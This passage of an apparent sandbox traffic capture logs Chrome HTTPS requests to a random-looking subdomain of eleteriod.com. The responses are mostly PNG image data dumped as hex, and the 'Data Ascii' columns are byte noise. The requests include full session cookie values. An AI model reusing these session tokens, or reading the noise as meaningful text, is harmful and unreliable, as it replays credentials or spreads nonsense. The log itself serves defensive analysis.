a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 Data Ascii: F3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b Data Ascii: I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 Data Ascii: JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 Data Ascii: ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|
2024-05-22 18:02:15 UTC	739	IN	Data Raw: 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 Data Ascii: I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	59916	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:13 UTC	1114	OUT	GET /wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	635	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ungTsoR9CFXLpJv%2FcvJc8ZRqMkg3BVW1n5wTpulH1%2Bww8F8Z59fAmcGZGYrFhs2C3Y%2BMEFsVNbUNANrQxykLG7vPEyfD39OVWbbfbBvVfmocfEGxBcU9PGVLKkD9EQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb74d8af50f42-EWR
2024-05-22 18:02:15 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	59915	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:13 UTC	1473	OUT	GET /qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	674	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cCVVfCQBVD1tBAfDKFLwsyKerihj8eNOvuHgif3ef%2BniPMNJ%2FkElyUZNw%2Fs6EKj%2FX5UIKw6VLSLUi9LCpknw8h%2B09CAvOh03VVhPGjsM74r2%2Bwj4ovvClae4OKUsMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb74d6aef4374-EWR
2024-05-22 18:02:15 UTC	695	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 Data Ascii: "))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7H
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a Data Ascii: g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSF
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 Data Ascii: }&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 Data Ascii: V37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 Data Ascii: {=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koa
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 Data Ascii: &rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b Data Ascii: .j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e Data Ascii: n${t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	59919	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
